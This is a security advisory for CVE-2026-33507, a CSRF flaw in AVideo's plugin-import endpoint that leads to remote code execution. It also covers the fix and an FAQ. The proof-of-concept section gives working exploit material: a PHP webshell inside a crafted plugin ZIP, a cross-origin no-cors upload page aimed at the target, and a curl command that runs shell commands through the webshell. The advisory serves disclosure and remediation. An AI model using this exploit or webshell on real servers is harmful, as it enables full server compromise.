CVE-2026-33507: AVideo Affected by CSRF on Plugin Import Endpoint Enables Unauthenticated Remote Code Execution via Malicious Plugin Upload
Summary
The objects/pluginImport.json.php endpoint allows admin users to upload and install plugin ZIP files containing executable PHP code, but lacks any CSRF protection. Combined with the application explicitly setting session.cookiesamesite = 'None' for HTTPS connections, an unauthenticated attacker can craft a page that, when visited by an authenticated admin, silently uploads a malicious plugin containing a PHP webshell, achieving Remote Code Execution on the server.
Details
The root cause has two components working together:
1. SameSite=None on session cookies (objects/includeconfig.php:134-137):
php if ($isHTTPS) { iniset('session.cookiesamesite', 'None'); iniset('session.cookiesecure', '1'); }
This explicitly allows browsers to include the session cookie on cross-origin requests to the AVideo instance.
2. No CSRF protection on pluginImport.json.php (objects/pluginImport.json.php:18):
php if (!User::isAdmin()) { $obj->msg = "You are not admin"; die(jsonencode($obj)); }
The endpoint only checks User::isAdmin() via the session. There is: - No CSRF token validation (the verifyToken/globalToken mechanism used elsewhere is absent) - No allowOrigin() call (contrast with objects/videoAddNew.json.php which calls allowOrigin() at line 8) - No Referer or Origin header validation - No requirement for custom headers (e.g., X-Requested-With)
The upload form at view/managerPluginUpload.php also contains no CSRF token — it's a plain <form enctype="multipart/form-data"> with a file input.
Why the attack bypasses CORS preflight: multipart/form-data is a CORS-safelisted Content-Type, so a fetch() call with mode: 'no-cors' and credentials: 'include' sends the request directly without an OPTIONS preflight. The attacker cannot read the response, but the side effect — plugin installation and PHP file extraction to the web-accessible plugin/ directory — is the objective.
Why secondary PHP files are not validated: The ZIP validation (lines 67-152) thoroughly checks for path traversal, dangerous extensions (.phtml, .phar, .sh, etc.), and verifies the main plugin file extends PluginAbstract. However, .php is intentionally not in the dangerousExtensions list (it's a plugin system), and only the main file (PluginName/PluginName.php) is checked for the PluginAbstract pattern. Any additional .php files in the ZIP are extracted without content inspection.
PoC
Step 1: Create the malicious plugin ZIP
bash mkdir -p EvilPlugin Main file — passes PluginAbstract validation cat > EvilPlugin/EvilPlugin.php << 'PLUG' <?php class EvilPlugin extends PluginAbstract { public function getTags() { return array(); } public function getDescription() { return "test"; } public function getName() { return "EvilPlugin"; } public function getUUID() { return "evil-0000-0000-0000"; } public function getPluginVersion() { return "1.0"; } public function getEmptyDataObject() { return new stdClass(); } } PLUG
Secondary file — webshell, NOT checked for PluginAbstract cat > EvilPlugin/cmd.php << 'SHELL' <?php if(isset($GET['c'])) system($GET['c']); ?> SHELL
zip -r evil-plugin.zip EvilPlugin/
Step 2: Host the CSRF exploit page
html <!DOCTYPE html> <html> <body> <h1>Loading...</h1> <script> // Minimal ZIP with EvilPlugin/EvilPlugin.php and EvilPlugin/cmd.php // In practice, the attacker would embed the base64-encoded ZIP bytes here async function exploit() { const zipResp = await fetch('evil-plugin.zip'); const zipBlob = await zipResp.blob();
const formData = new FormData(); formData.append('input-b1', zipBlob, 'evil-plugin.zip');
fetch('https://TARGETAVIDEOINSTANCE/objects/pluginImport.json.php', { method: 'POST', body: formData, mode: 'no-cors', credentials: 'include' }); } exploit(); </script> </body> </html>
Step 3: Admin visits attacker's page while logged into AVideo over HTTPS
The browser sends the multipart/form-data POST with the admin's PHPSESSID cookie (allowed by SameSite=None). The server processes the upload, validates the ZIP structure, and extracts it to plugin/EvilPlugin/.
Step 4: Attacker accesses the webshell
bash curl 'https://TARGETAVIDEOINSTANCE/plugin/EvilPlugin/cmd.php?c=id' uid=33(www-data) gid=33(www-data) groups=33(www-data)
Impact
- Remote Code Execution: An unauthenticated attacker achieves arbitrary OS command execution on the AVideo server by exploiting a logged-in admin's session. - Full server compromise: The webshell runs as the web server user (www-data), enabling data exfiltration, lateral movement, database access, and further privilege escalation. - No attacker account needed: The attacker requires zero privileges on the target system — only that an admin visits a page they control. - Stealth: The attack is invisible to the admin (fire-and-forget side-effect request). The no-cors mode means no visible error or redirect.
Recommended Fix
1. Add CSRF token validation to objects/pluginImport.json.php (primary fix):
php // After the isAdmin() check at line 18, add: if (!User::isAdmin()) { $obj->msg = "You are not admin"; die(jsonencode($obj)); }
// Add CSRF protection allowOrigin();
// Also validate a CSRF token if (empty($POST['globalToken']) || !verifyToken($POST['globalToken'])) { $obj->msg = "Invalid CSRF token"; die(jsonencode($obj)); }
2. Update the upload form in view/managerPluginUpload.php to include the token:
html <form enctype="multipart/form-data"> <input type="hidden" name="globalToken" value="<?php echo getToken(); ?>"> <input id="input-b1" name="input-b1" type="file" class=""> </form>
And pass it in the JavaScript upload config:
javascript $('#input-b1').fileinput({ uploadUrl: webSiteRootURL + 'objects/pluginImport.json.php', uploadExtraData: { globalToken: $('input[name=globalToken]').val() }, // ... });
3. Consider changing SameSite=None to SameSite=Lax unless cross-origin cookie inclusion is specifically required for application functionality. Lax prevents cross-site POST requests from including cookies, which would mitigate this and similar CSRF vectors application-wide.
Other sources
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the objects/pluginImport.json.php endpoint allows admin users to upload and install plugin ZIP files containing executable PHP code, but lacks any CSRF protection. Combined with the application explicitly setting session.cookiesamesite = 'None' for HTTPS connections, an unauthenticated attacker can craft a page that, when visited by an authenticated admin, silently uploads a malicious plugin containing a PHP webshell, achieving Remote Code Execution on the server. Commit d1bc1695edd9ad4468a48cea0df6cd943a2635f3 contains a patch.
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2026-33507?
CVE-2026-33507 is considered a high severity vulnerability due to its potential for exploitation through CSRF and file uploads of arbitrary PHP code.
How do I fix CVE-2026-33507?
To mitigate CVE-2026-33507, implement CSRF protection for the plugin upload endpoint and consider adjusting the session cookie settings.
What vulnerability type is CVE-2026-33507?
CVE-2026-33507 is classified as a Cross-Site Request Forgery (CSRF) vulnerability combined with an insecure file upload issue.
Who is affected by CVE-2026-33507?
CVE-2026-33507 affects users of the AVideo platform versions up to and including 26.0 who have administrative access.
What are the potential impacts of CVE-2026-33507?
Exploitation of CVE-2026-33507 could allow an attacker to execute arbitrary PHP code on the server, leading to full system compromise.